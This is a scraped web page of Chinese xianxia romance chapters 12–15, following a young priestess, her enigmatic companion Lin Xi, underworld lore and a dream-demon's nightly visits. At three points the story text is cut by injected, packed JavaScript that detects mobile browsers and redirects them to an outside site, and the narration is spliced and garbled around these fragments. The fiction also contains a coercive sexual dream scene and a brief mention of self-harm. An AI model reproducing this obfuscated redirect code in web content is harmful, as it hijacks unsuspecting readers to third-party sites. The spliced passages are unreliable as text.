林夕察觉她异样的目光,微微一笑:“少祭司为何看我这么久?” 宫玄烛若无其事,一步步走到林夕身边,林夕也不退后,眼见两人越靠越近,鼻尖几乎碰上了鼻尖,林夕有些紧张地垂眸,不知道该看哪里,背在身后的双手不自觉紧紧交缠……宫玄烛一伸手自他耳侧伸过去摸到书架,抽出了一本书,回身坐在长方条案之后,在灯下翻看冥事录,查看半天,还是不知那位十殿姓甚名谁,是何来历。 林夕微微噙笑,在她身边坐下:“少祭司想了解冥界的事情为何舍近求远?” 宫玄烛看向他,微微挑眉,卸下了头帘搁在一边,林夕却顺手拿起替她挂着了旁边的衣架上,修长的手指穿插过头帘上一串串流苏,一条条理顺,那动作仿佛他已经做过无数次了,淡笑道:“书籍所记载的事情怎能跟得上世事变迁,况且冥界自来凶险万分,书者所写大多杜撰之言,不可轻信,少祭司想知道什么不若问我,我定知无不言言无不尽,如何?” 宫玄烛点点头,当真就开始问了,林夕整理好她的佩饰也坐了下来。 宫玄烛道:“冥界主殿几何?各自所司何事?” 林夕果然是毫不隐藏,宫玄烛越听眉头皱得越紧,不是因为林夕说的东西有误,反而是太真实太细致了,不由得宫玄烛不起疑,林夕此人绝对不是什么小角色。 12. 科普一下冥界 只听林夕侃侃而谈道:“冥界共分十殿殿君,一一列举没有必要,只拿最重要的四殿来说,四殿凌云殿,主殿孽镜少典悲醒,专掌神罚,顾名思义,上清境一些神仙或者修真界的修士犯罪,都是押送凌云殿处罚。这位孽镜少典也有一段有趣的故事,据说他曾经与青帝之女画干戈定亲,彼时悲醒还不是凌云殿主殿,而是洛都鲛人族王子,两界交好无可厚非,只是这画干戈似乎志不在此,无意之间闯入三生殿,在三生石前得知自己与悲醒乃是天命姻缘,她偏不信邪,挥剑斩情丝反噬到了自己,堕落尘寰历劫,那悲醒自然放心不下,毅然随佳人而去。画干戈剑斩情丝在前,在凡间悲醒与另一人喜结连理,对画干戈冷嘲热讽,甚至纵容妻子对她百般折辱,画干戈历劫三世,世世因为悲醒不得善终,最终耗尽魂力,身陨道消,悲醒再次回归上清境就成为了新任的孽镜少典。” 宫玄烛听了这段故事,蛾眉轻轻蹙起,心里不知是何滋味,道心竟然因此微微动摇,连忙收敛心神,轻叹道:“痴心成孽,镜花水月,此为孽镜,不知这悲醒作何感想。” 林夕笑道:“再说七殿,也就是樱都鬼域之主,乃前任冥主慕容烈嫡子,殷溯川。七殿主管人世生杀大权。” 宫玄烛追问:“慕容烈之子?” 林夕点点头:“不错,慕容烈生前是西蔷国一位将军,殷溯川也是他最得意的儿子,琅嬛征讨西蔷时,慕容烈战死,殷溯川九死一生活了下来,而且遇到了一名女子,乃是隐世门派的仙姝。” 宫玄烛:“我只知十九年前槐荫镇一战,梵净山缥缈峰主竭力阻止鬼门大开,身死魂散才算是封印了这樱都之主,其子殷溯川既然成为了七殿殿主,那么应当是含恨而终,与你提到的这位仙子不知有何渊源?” 林夕笑道:“自然有关系,殷溯川垂死之际为此人所救,自然感激万分,况且那女子姿容绝代、俊美稀世,殷溯川岂有不思慕之心?此女也是仙子尘心,于是金鸾配玉鸥,佳偶天成。” 林夕说到这里忽然顿住,宫玄烛两指轻叩桌案,似笑非笑:“自古以来,修道之人远离人间七情六欲,初入门者甚至要避开异性,男女不同席,就是怕坏了根基,移了心性,这位仙子能于千军万马中救出殷溯川,想必功力不浅,既然如此,私以为其道心亦坚,却在短短数月与他人山盟海誓,很是矛盾。” 林夕轻揽衣袖为她续茶,静室之中只闻流水潺潺,他却不接上文,似是无意间问道:“此仙临凡乱心,少祭司何如?” 宫玄烛接过他手中茶盏,目光虽然定在林夕脸上,手指却精准地捏住了玲珑瓷盏的空隙,连对方的指甲都没有触及:“烛不过庸庸碌碌一俗人耳,上不能安世济民下不能建功立业,无德无才,尸位素餐,混于市井之间,自然不免尘心俗病,素日邪思妄念蠢蠢欲动,不过是教化使然,尚且克制得住罢了。” 林夕却是但笑不语,半晌才道:“我看祭司,却是万花丛中过、片叶不沾身。” 宫玄烛:“哪里哪里,人生如戏,全靠演技,身在官场,人前总得扮演好高风亮节的模样,才不至于落人话柄。适才说到那殷溯川襄王会神女,何不接着讲了?留个扣子我今晚定然是睡不着觉的。” 林夕只顾看着她,烛光下一双星眸里满是狡黠:“少祭司心中应当已经猜中了八九分。” 宫玄烛:“我想知道,这仙子姓甚名谁?师承何人?” 林夕眨眨眼睛:“连故事都是我杜撰出来的,这仙子的姓名我一时还真没想好。” 宫玄烛套不出话,心下却也明白了一点,林夕似乎有些忌惮这位七殿,关于他的事并不愿意多说,于是又顺口搭音:“那接下来呢?故事讲一半可太招人恨了。” 林夕莞尔,果真又继续讲了下去:“后来就是棒打鸳鸯的桥段,此二人私定终身触犯门规,仙子之师大怒要处死殷溯川,仙子私自放走了殷溯川,后来不堪师父言语羞辱,挥剑自刎,事情就是这样。” 林夕耸耸肩示意故事讲完了,简直是漏洞百出,宫玄烛都懒得理他,想催促他接着往下讲,却不想再让这小子得意,佯装打哈欠:“好累好困,你这睡前故事催眠的效果还真不赖。” 林夕果然有些起急:“再听听嘛,下面的更精彩,不好听管赔。” 宫玄烛本来起身欲走,听了这话复又坐了下来:“真的?你能赔偿什么?” 对方一指自己,一脸坦诚:“先前大人不是说,贪图美色吗?小的虽然容貌平庸,但身世清白,大人可以采阴补阳,于修为大有裨益。” 我呸!不要脸这劲跟谁学的! 林夕见宫玄烛一脸吃了苍蝇的表情,露出了得逞的笑意,在此人身边吃瘪多年,终于也算是报复了一回,心满意足之余又有些感慨,接着道:“这九殿司掌离恨城,人间风流孽债都由他处理,而此人也算是个性情中人,生前为情所困,死后仍然不忘旧情,经年与一鬼新娘相伴……”说到这里又是一顿,转而看向宫玄烛:“少祭司以为如何呢?” 这说的应当就是沐灵,倒是跟她所知的如出一辙,宫玄烛点点头,笑而不语,顿了半晌才道:“不知这位十殿君又当如何?” 林夕连连摇头摆手:“这十殿么,生前混迹勾栏瓦舍,拈花惹草,死后更是荒唐无度,审案时见了有姿色的女鬼也是来者不拒,是个不折不扣的花中魔鬼、色里魔王,林夕不便多说,实在有污清听。” 宫玄烛听了这么几句有些狐疑:“既然人品如此低劣不堪,如何能坐枉死城考弊司主殿冥君?” 林夕道:“少祭司有所不知,这魏何惜乃是慕容烈次子,慕容烈有心提拔,何愁不前程似锦。” 宫玄烛却轻轻摇头,心里默念着这个名字,脑子里浮现出那张瑰丽妖冶、风月无边的脸,耳畔仿佛还残存着那冰冷的气息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489945|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本君不贪财,只好色…… 一阵穿堂风吹过,宫玄烛打了个激灵,心神微动之下,眸光潋滟、面如桃花,在灯下更添风情万种。 林夕不知何时走过去轻轻合上窗,又坐下,复斟了一盏茶:“少祭司还想知道些什么?” 宫玄烛定了定神,问道:“凡入主冥界当职,生前必厄运缠身、不得善终,我想知道,魏何惜是怎么,故去的。” 宫玄烛也不知为何,对这十殿似乎并不讨厌,换了一个比较委婉的词打听他的死因。 林夕的眸子在烛光下冷得如同两点星子,泛着幽幽的寒光,嗓音也是冷的,虽然面无表情,但还是带着一丝笑意道:“他嘛,去了一个偏僻古怪的邪村,毛头小儿不知人心险恶,企图以一己之力蚍蜉撼树,结果可想而知,被众村民抓起来砍了脑袋,事情大概就是这样。” 宫玄烛心下微微一颤,万万没想到,魏何惜居然是这么死的,如此草率……喃喃自语道:“邪村……那想必他被处死之前,定是受了许多非人的折磨……” “怎么,少祭司同情他?” 对面的林夕单手支着脑袋,打了个哈欠搭话,似乎有些困倦。 宫玄烛摇摇头:“冥君大概是不需要我的同情的,我只是在想一个问题……林夕,你究竟是谁?” 她目光如炬,紧紧盯着对面那张脸,那张她下一秒就会忘记具体长相的脸。 林夕微微噙笑,苍白的脸在惨淡的烛光下如同海市蜃楼,他近乎透明的嘴唇轻轻一动:“我是林夕啊,你给我取的名字,自己怎么忘了?我很喜欢这个名字,它很适合我,也很适合你。” 宫玄烛发现自己似乎随手捡了个极度危险的东西回来,现在要扔已经来不及了。 …… 你喜欢做梦吗?你愿意沉溺在梦的世界里吗?你如何知道,你所熟悉的现实不是梦境?你知道自己究竟是谁吗? 林瑶自上次从冥界回来后,夜里噩梦连连,每次醒来都是满头大汗,一颗心仿佛要蹦出嗓子眼了。 月挂中天,沙漏定格在亥时末,她忽然惊坐起来,大口大口呼吸着新鲜空气,浑身被冷汗浇透,单薄的寝衣几乎贴在皮肤上,整个人仿佛刚从水里打捞出来。 窗外一缕幽冷的月光投入屋子里,白色的纱帘如同女鬼的衣裙轻轻飘荡,沙漏里最后一缕细沙流尽。 子时了。林瑶刚这样想着,突兀的敲门声忽然响起,惊得她浑身汗毛又竖了起来,几乎僵在了床榻上,想到梦中恐怖的场景,声音发颤地朝门外问:“谁?” “瑶儿,是我。” 林瑶这才松了口气,简单整理了一下头发,披上外衣打开了门,月色之下站立一人,白发如霜、衣冠楚楚,也不知半夜叩徒弟的门所为何事。 尹星灯大步流星就往她的屋子里走,林瑶自然也不敢拦着,微微侧身让开路来,随后点亮了屋里的灯。 13. 我百合,你信吗 “瑶儿,坐,为师有话问你们。” 林瑶左右看看,不知道们在哪儿…… 答案很快就揭晓了,门外又晃进一人来,哈欠连天嘴里骂骂咧咧:“老登你有毛病啊,我才刚合上眼啊,占用别人睡觉的时间等于谋财害命!我猝死了你负责吗?” 鉴于宫玄烛已经替自己骂出来了,林瑶就不好再火上浇油,只能劝道:“师妹请坐,你鲜少来我这屋子里,想吃点什么吗?” 宫玄烛一听这个精神了,连忙倒茶漱口:“爆炒鱿鱼筒、香酥虾丸、五香小豆干……加麻加辣!” 旁边尹星灯听她说话直皱眉,最后看向林瑶时又和颜悦色:“不用这么麻烦,准备点上次哪个什么来着,让我想想……算了,想不起来了,总之是瑶儿拿手的点心就行。” 合着你们上我屋里吃宵夜来了……林瑶微笑点头应下,出门叫人去八仙楼照单全买,她自己在门口晃悠了一圈接过食盒回来了,宫玄烛尝了两口首先发现了不对劲,筷子一撂:“大师姐,您这手艺在八仙楼培训过是怎么着?” 林瑶从旁边拿了瓶盐过来,满满洒在了鱿鱼卷上:“那你再尝尝呢?” 眼看林瑶要对豆干下手,宫玄烛连忙求饶:“我错了我错了,好姐姐,饶了这五香豆干吧。” 尹星灯没有宫玄烛那么好的记性,也尝不出来手里的糕点是八仙楼的招牌,点点头微笑道:“瑶儿的手艺越来越好了,今日找你们是因为……因为什么来着……” 二徒再次绝倒。 尹星灯终于想了起来,一脸严肃道:“因为你们自打从冥界回来,都噩梦缠身,特别是玄烛,你以前没有这种情况,所以你们相互听一下对方的经历,看看是否有相似之处,为师好替你们想想办法。” 尹星灯说完看向了林瑶,笑意温煦:“瑶儿先说吧,因为上次你还没有告诉为师。” 林瑶眨眨眼睛:“哪有,明明告诉您了呀,您再仔细想想。” 林瑶还想糊弄两句,尹星灯却脸色一沉:“为师记得很清楚,你的确没有告诉我。” 这是写备忘录上了是吗? 林瑶没有办法,只好开口讲述:“上次闯入冥界后,我一直在彼岸花海里兜圈子,许久之后才找到出路,顺着路牌指引的方向去了樱都,听见城里有一处十分喧哗,顺着声音过去发现那里重兵把守,鬼卒们说起什么红衣女,受了重伤,我以为是陌菱,心里一着急就闯了进去,后来一路被鬼卒们追到了悬崖边,下面热浪灼人,似乎是翻腾的岩浆,我被追兵打下了悬崖,以为自己要被烧死了,可是并没有直接落在火海里,而是掉在了白骨堆上,我爬起来之后看到了一个很奇怪的东西。” 尹星灯听得一脸后怕,忙问道:“什么东西?” 林瑶的瞳孔慢慢放大,仿佛还能看见那个恐怖的东西:“骷髅,一架完整的金骷髅,它朝我走了过来,很快就到了我眼前,我转身就想跑,它从身后死死勒住了我的脖子,就在我快要窒息的时候,我看到了眼前的火海,既然都要死了不如拉着它一起死,我想带着它一起滚入岩浆里,那骷髅似乎感觉到了,主动放开了我,可是我只要试图远离它,它就会重新追上来勒住我的脖子……” 宫玄烛瞪大了眼睛:“不是,纯金的啊,你倒是给它运上来,胳膊腿儿一卸掉,拿锯子锯成小金条,你三我七,你看怎么样?师父你瞪我干什么,这不还有剩下的边角料嘛,你拿簸箕收一收,够你安度晚年了。” 尹星灯抬手在宫玄烛额头上弹了一指,疼得后者龇牙咧嘴:“穷疯了?红莲地狱的主意你都敢打,胆子倒是不小。” 说起这个宫玄烛就来气,尖声道:“我月俸都扣到明年了!再这样下去我真的要跟鬼抢钱了。” 尹星灯对宫玄烛道:“你先回去吧,为师有话想单独对你师姐说。” 宫玄烛的眼睛瞬间亮了,故意阴阳怪气:“哎呦,什么话啊还得单独说,让我听听怎么呢?” 尹星灯随手丢了一个荷包过去,宫玄烛一把接住,好家伙,沉甸甸的,于是开开心心地离去了,还懂事地把门带上了。 尹星灯的目光重新落在林瑶身上,欲言又止,最后轻叹道:“瑶儿,为师有话想对你说。” 林瑶浑身不自在,广袖之下的手紧了又紧,忽然站了起来,目光不敢直视他:“师父,弟子有些累了,有什么话明天弟子再领教。” “不差这一会儿,”他站起来缓缓踱步到林瑶跟前,灼热的目光几欲将她点燃:“瑶儿,逃避是没有用的,这道理为师教过你多少次了?” 林瑶垂着眸,不停捻弄着左腕上一串红珊瑚珠子,猝不及防尹星灯抓住了她那只局促不安的手,语气依旧温柔:“为师跟你说话呢,可是又走神了?” 林瑶迅速别开了脸,倒退两步,这么大反应令尹星灯面上有些尴尬,自嘲般笑笑,松开手,不自然地甩甩袍袖,半晌轻叹道:“瑶儿,当初是你追着缠着为师,如今却又对我不理不睬,这是何道理?” 林瑶都懒得理他,低着头一言不发,看着自己的鞋尖神游天外。 尹星灯继续痛心疾首,控诉着林瑶的负心薄幸。 “瑶儿当初与为师食则同席、寝则同榻,何等的亲密无间,谁知瑶儿长大了,竟然如此薄情寡义,莫非是心里有了旁人?” 林瑶实在装不了哑巴了,这才弱声辩解道:“我当时也不知道你喜欢男扮女装啊……” 这回轮到尹星灯急了:“跟你说多少次了,那是被功法反噬,为师没有穿女装的奇怪癖好!” 见林瑶又不言语了,尹星灯窥她脸色,又低声哄劝道:“瑶儿?你小时候说……喜欢为师的话,还作数吗?” 林瑶一张俏脸登时通红,如同霞映澄塘,支支吾吾道:“没有的事,我不知道……” 尹星灯凑近她,低笑道:“撒谎可不是好孩子,要为师把当时的留音石拿出来吗?” 林瑶被逼得走投无路,有心现在就晕过去,最后磕磕绊绊地转移话题:“师父,您当时那个女相究竟是怎么回事?” 尹星灯微微蹙眉:“为师本来不想对任何人提起,不过既然是瑶儿问了,告诉你也无妨,为师所修逍遥道,渡劫时遇到了一条九尾妖狐捣乱,失败了不说还被天道罚了,惩罚就是失去仙力外加变成女身三个月,后来的事,瑶儿也都知道了。” 林瑶暗忖:看来他转化女相也是个意外,既然如此倒也好办。 尹星灯看着低眸沉思的林瑶,广袖下的双手蠢蠢欲动,想将她揽入怀中又不敢,只好温声劝道:“瑶儿,我知道你更喜欢为师女相的样子,可是无论如何你要相信为师,我对你的心意一直未变——” 林瑶越听越别扭,急忙打断:“师父你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489946|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没错,我的确喜欢您女相的样子,因为我有磨镜之好,喜欢女子,此生也只会与心仪的女子白头偕老,所以断断不会接受别的什么人。” 尹星灯瞠目结舌,良久才反应过来林瑶在说什么,原本一直挂在脸上的笑意登时凝固:“你说什么!” 他死死攥着林瑶的手腕,清俊的面容被盛怒扯得有几分扭曲,胸膛剧烈起伏着,嘴角扯出一抹笑意:“瑶儿,以后不要开这样的玩笑了,喜欢女子?真是滑天下之大稽,为师闻所未闻。” 林瑶举手打断:“忘川风华录有载,青帝之女画干戈与初代洛神曲淋漓乃是莫逆之交,画干戈妙笔丹青、泛舟山水之间,曲淋漓当初只是一尾锦鲤,懵懂无知被渔夫打捞起,生死攸关之际为画干戈所救——” “闭嘴!那些不过是世人杜撰,画干戈早就魂飞魄散了,曲淋漓也死了……瑶儿,”尹星灯眸中染上了几丝血色,攥着林瑶的手越发用力,肩膀在轻轻颤抖,阖上眼似乎在压制着满腔怒火:“瑶儿,你说,不要撒谎。” 林瑶欲言又止,心里想编出一个人的名字来,尹星灯是不是就会知难而退了,刚想到这里,肩膀忽然被收紧,一双大手紧紧将她嵌入满是清雅旃檀的怀抱里,清润的嗓音在她头顶微微发颤:“说话啊,你要逼疯我吗?” 门外哐当一声,一个人影闪过。 “谁!” 尹星灯一分神林瑶急忙追了出去,发现廊檐尽头一角红衣迅速消失,顿时心都凉了半截。 “菱儿……” 陌菱坐在水池边,清消的背影对着她,微笑道:“追出来干什么?看我的笑话吗?” 林瑶嗓音干涩,上前半步:“菱儿,你为什么一定要这样对我说话呢?” 陌菱冷笑两声:“你避之不及的东西,却是我求而不得的……真是讽刺至极,有时候我在想,你是不是在欲擒故纵呢?你既然要拒绝他,为什么不彻底消失在他的世界里?你留在他身边,只会让他觉得自己还有机会。” 林瑶唇舌发干,心下钝痛:“你让我去哪里啊?” 陌菱:“哪里都好,林瑶,只要你真心实意想走,他找不到你的,还是说你舍不得他?” 林瑶的手默默攥紧,哀痛地咬了咬薄唇,陌菱的话仿佛一根尖刺扎进了她心口。 “我的世界里不止有师父,还有你和玄烛,我不想余生都飘零孤寂地活着……” 陌菱反问道:“那样有什么不好?” 风轻轻拂过胭脂色的衣袖,林瑶看见陌菱雪白的皓腕上添了几道新伤,仿佛是被什么利器划破的,又细又长,一道紧挨着一道,仿佛缠在她腕上的一道道红线,又仿佛是什么刻骨铭心的记号。 林瑶黯然闭上了双眼:“好,我走就是,菱儿,你要照顾好自己,别再……” 后半句话卡在了嗓子眼里,说不出来也咽不下去。 陌菱半回过头,雪玉般的容颜被低垂的鬓发半掩着,饱满的红唇勾起满足的笑容,她笑起来是极为好看的,但是眉梢眼角扬起一丝微不可察的癫狂:“你和我,注定只能留一个,林瑶,别以为你的小恩小惠能打动我,在我看来,不过是你作为胜利者对我的施舍罢了,虚伪至极,我真正想要的,是你能永远从这个世界上消失。” “林瑶,在这个世上,我最厌最恨的人就是你,你懂吗?” …… 14. 这桃花,不要也罢! 宫玄烛红云满面,大汗淋漓,心跳得扑通扑通。 怎么回事?鬼压床? 那个人没有实状,却能清晰感觉到他是一个成年男子,甚至凑近她时能感觉到垂落的柔软发丝蹭在脸上。 他轻盈时仿佛山间的一片云雾,压在她身上却让她喘不过气来。 躺在床上的宫玄烛,双目紧闭,不断梦呓着,额头沁出一层薄汗。 那人俯身凑近,手指轻轻擦拭她额头的汗珠,声音带着蛊惑又极尽温柔,可梦中人的的确确又是没有声音的,宫玄烛不知道是不是自己的幻觉。 别怕,我会一直陪着你的。 灵蛇般的十指探入她指间的空隙,牢牢锁住,陷入柔软的锦被里抵死缠绵,宫玄烛想喊一嗓子,嘴唇已经被冰冷的唇齿堵住了,寒冷的气息如同冬日的风雪悉数灌入她嘴里,那“人”既霸道又柔情,眼泪一滴一滴砸在她脸上,惹人怜爱,可是温柔小意了没一会儿就开始不规矩,一只手摸入她领口。 滚! 宫玄烛发不出声音,心中的怒火如同山崩海啸,这么一“喊”当真有效,宫玄烛感觉到压在自己身上的东西似乎散去了,朦朦胧胧间看到了自己所处的房间,但是,她心里又是一紧,这个视角不对!她仿佛人在云端,能看到整个房间的布局,却看不到隐匿在黑暗中的邪祟。 她根本还没有醒!而是陷入了梦中梦,这只魇是个硬茬! 宫玄烛强行催动功力,双手掐莲花诀护在胸前,默念心经,念到“色不异空空不异色”时发生变化了,那人一把抱起床上的她,疾步向外面走去,宫玄烛发不出声音,也睁不开眼睛,挣扎了两下,他抱得更紧了,仿佛不是在路上行走,而是在云雾里。 这本身就很矛盾,她睁不开眼睛,却又能“看到”周围的事物,要么是自己的想象,要么是魇刻意植入她脑海里的画面。 仿佛在不停地下坠,陷落,那是一座奢华的宫殿,满目都是艳丽的红色,纱幔飘扬,软烟袅娜,魇将她按在一张大床,再次欺身压下,贴着她的脸缠绵悱侧地亲吻舔舐。 我等这一天,等了好久…… 你叫我什么? 宫玄烛恍惚听到了一个字眼,她觉得那个词很是关键,抓住它是破开梦中梦的关键。 你想杀了我?只这样就受不了了,比起你对我做的那些事,这只是刚开始,好好补偿我…… 梦境中一切都那么真实,她能感觉到魇俯身轻吻她的脸颊,心中满是贪婪。 宫玄烛咬住自己的嘴唇,用力挣扎着,奋力滚下了床榻,借着这一摔,仿佛摔出了重重迷雾,整个人被高高抛起,随后在云端落下,不停地坠落,最后扑通一下落入了水中,心脏仿佛被一只拳头紧紧攫住,她屏住呼吸,快要喘不上气来了,近乎窒息的时候,一个冰冷的怀抱将她包裹,唇齿相贴渡给她一丝气息,和她一同在水中坠向梦境更深处。 终于接触到了空气,宫玄烛还没喘息两下,再次被冰冷的唇掠去全部呼吸,那不规矩的手在她腰间放肆游走,她只能闭着眼睛被迫承受。 这一吻炽热而缠绵,良久才松开,魇冰冷的手指描摹她眉眼的轮廓,声音低沉含笑。 这一切不过是梦,你又何必挣扎? 耳边一个声音不停地诱哄着,仿佛能听到他低沉沙哑的嗓音,可他又是没有声音的,很是奇异。 他轻捻着她的指尖,俯身贴近她耳畔,冰冷的呼吸惹得她一阵颤栗。 在梦里就不要这般矜持了。 衣衫被他层层剥离,双手在她白皙的皮肤上不停摩挲,仿佛在描摹一张漂亮的画……后者只能发出断断续续的低吟: 别…… 他低笑一声,并不打算停下。 梦境中一切由心而生,只要你不醒,这梦便会一直续下去,你知道的……我想要的从来都不会罢手! 抵死缠绵,如同狂风暴雨,有时疼得头皮炸裂,有时又温柔地让人沦陷,反反复复,永无止境,实在是受不了,只能咬他。 他眉头轻挑,被她咬到的地方竟泛起了真实的痛意,心中不禁疑惑,这梦境似乎有些过于真实了……真是有意思。 整个人仿佛被撕裂了,也如同被抛到岸上垂死挣扎的鱼,眼泪止不住落下。 魇的动作微顿,俯身轻吻她的眼角,将泪珠吻去。 你是我的,生生世世都是。 带着蛊惑,梦境里的一切愈发真实…… 宫玄烛再次清醒过来,已经日上三竿,殿外的侍女问她何时起身,答应了一句,发现自己的嗓音沙哑无比。 她原本以为自己换个床就不会陷入梦魇,谁知道这境况却越发严重。 素手捂住绯红的脸颊,被梦境冲击得一时难以接受,不觉叹了口气:“怎么又做这种梦了……” 这个念头一起,一大车有声有色的精彩画面争先恐后地涌入了脑海,随后道心大动,如同大厦将倾……宫玄烛连滚带爬地跌下床,狼狈至极。 烦闷,无比的烦闷! 不痛快的她打算去给别人找点不痛快,骑着商羊没多久出了玄都,眼前出现一座城池,鸢歌。 鸢歌城芙蕖观乃是四大派之一,名震天下,此观由玄明子、林渡等人坐镇,时下新出茅庐、风头正盛的裴暮雪就是玄明子的关门弟子,芙蕖观乃是人尽皆知的名门正派、历史悠久,供奉东天三清祖师,根基深厚,跟玄都星辰宫抢生意抢得如火如荼,暂且不提…… 在熙熙攘攘的人群中瞅见了熟悉的身影。 宫玄烛在卦摊旁坐了下来,虽然心情极其不美丽,但在生意对手面前勉强还是要挤出一丝笑容的:“哟,这不裴道长嘛,日子过得真清闲啊。” 摊主正躺在圈椅上晒太阳,脸上盖着一本易经,随着他起身的动作,易经滑落到他手里,只见此人唇红齿白,书生打扮,折扇在手轻轻晃着,闻言嗤笑道:“不如少祭司,大祸临头还有心思信马由缰。” 宫玄烛心里一惊,随后又笑道:“本祭司好得很。” 她起身欲走,裴暮雪冷嘲热讽道:“那贫道可就恭喜祭司了。” 宫玄烛霍然转身,脸色唰的白了:“恭喜我什么?” 裴暮雪:“恭喜少祭司,喜结良缘。” 宫玄烛攥紧了手,紧紧盯着裴暮雪,他刻薄的唇瓣一张一合,吐出了十分冰冷的字句:“不过少祭司这个夫婿可不是人,有些人命犯桃花,少祭司可能是五行缺德,所以命犯阴桃花。” 宫玄烛忍了好久才没把卦摊给他拆了,虽然这小子气死人不偿命,但他说的话却不无道理,她现在的确是遇到了一桩大麻烦,思来想去,情况跟裴暮雪说的的确吻合。 阴桃花,顾名思义就是入了鬼魂的眼,阴桃花是风流孽鬼的代名词,他们生前往往风流多情,死后亦然,阴桃花也叫桃花煞,男女皆有,以前宫玄烛不是没有遇到过,不过往往是精壮男子或是白净书生被女桃花煞缠上了,日日吸食阳气,不出几天这男人也就一命呜呼了,桃花煞一般会化作貌美的落难女子创造一些看似偶遇的机会,骗一些心术不正之人,都是一些很低的伎俩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489947|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男桃花煞,倒是罕见,而且这位自始至终不以真面目示人,宫玄烛也就没有往这方面去想。 堂堂琅嬛少祭司,坐地上托腮想了半天,最后一拍脑门:“我悟了!我肯定是需要找个对象了,想我现在已经十七了,虚岁都十八了,转眼二十,再眨眼都半截子入土的人了,是该考虑终身大事了,正所谓有主的干粮碰不得,我给自个儿嫁出去,那该死的阴桃花劫岂不是不攻自破!” 裴暮雪毫不客气地冷笑几声:“少祭司这基本功还真是扎实,看来以后我芙蕖观不愁独立琼宇笑傲天下了,桃花煞选中了你,早已将你视为囊中物、掌中珠,你信不信他现在就在你身边看着呢?” 宫玄烛背后汗毛直竖,噌一下站了起来,疑神疑鬼地环顾四周。 裴暮雪抿了一口早已凉透的茶,殷红的唇色愈发深沉,仿佛带露的芍花:“这边建议找根绳子挂那边的歪脖树上,经济实惠没有痛苦,还能留个全尸。” 宫玄烛心态一向好,开始胡扯八扯:“红线坊的老板跟你什么关系?” 裴暮雪白了她一眼:“反正跟你没关系。” 嗨,还真是守口如瓶啊,八成是小情人儿! “裴师兄!” 宫玄烛循着这清脆悦耳的声音望过去,远处跑来一杏黄道袍的姑娘,眉黛春山秀,秋水剪瞳明。杏花初带雨,杨柳暗藏莺,说不出的万种风情。周围人挤人都争着抢着一睹芳容,远处惊呼声不断,近处则是敛气屏声,仿佛生怕呼吸声太大惊饶了这位仙子。 这姑娘单看面相,的确是明艳不可方物,一双星眸仿佛会说话似的,但等到真正一张口却又带着一股不谙世事的纯粹,一看就是从小被呵护到大的天真少女。 裴暮雪皱皱眉:“慕容纤,你又擅自离山了,小心我告诉师父。” 姑娘双手叉腰,柳眉倒竖、杏眼圆睁:“我这次可是奉命下山的!” 慕容纤伸手从袖子里取出一个金色小册子,洋洋得意道:“祭祖大典,你去是不去呢?” 裴暮雪看起来一个头两个大了,赔笑道:“去去去,当然去了,这么重要的事怎么能缺席呢。” 他伸手去拿册子,慕容纤却躲开了,小册子让她藏在了背后:“慢着,刚才是谁说我擅自离山,还要告状来着?” 裴暮雪也真是能屈能伸,满脸堆笑:“好师妹,我错了我错了,把名帖给师兄吧,” 慕容纤哼哼一声:“空手套白狼是吧?” 见对方不为所动,裴暮雪一咬牙开始加码:“这样,你随便开一个条件,只要师兄能做到一定义不容辞。” 慕容纤灿然一笑:“这还差不多。” 宫玄烛在一旁看得目瞪狗呆,还真是卤水点豆腐—一物降一物啊,没想到裴暮雪的克星居然是这位姑娘,看来以后得跟她搞好关系,这么想着已经上前搭话了。 “慕容仙子好啊,在下星辰宫弟子宫玄烛,幸会幸会。” 慕容纤见对方品貌不俗,也是笑脸相迎,拱手道:“少祭司好,久闻大名了。” 宫玄烛笑着摆摆手:“哪里哪里,虚名罢了,慕容仙子既然来了,不如去玄都坐坐吧。” 慕容纤眼眸澄亮,樱唇一张还没搭话,一旁裴暮雪早就收拾好了东西,替她回答道:“少祭司好意我们心领了,祭司毕竟家宅不宁,还是下次再叨扰吧。” 该死的裴暮雪! 宫玄烛漫咬银牙,眉眼弯弯,若不是有面纱挡着,这副表情应该很吓人。 “也好也好,裴道长,慕容仙子,再会了。” 15. 瑶瑶快跑 本欲回转星辰宫,不料路上看见了背着包袱的林瑶,宫玄烛好奇极了,这乖乖女一向大门不出二门不迈的,主要是尹星灯管得太严,现在这孤身一人行色匆匆是去哪里? 这都不是太阳打西边出来的事了。 “大师姐!” 林瑶脚步一顿,僵硬地转过身子,看清是宫玄烛后明显松了口气。 宫玄烛愈发好奇,三步并作两步赶上来:“师姐这是去哪里?” 林瑶黯然垂首:“我要离开一段时间了,还希望你能替我保密,若菱儿又惹师父生气了,还请你多多照顾,师姐感激不尽。” 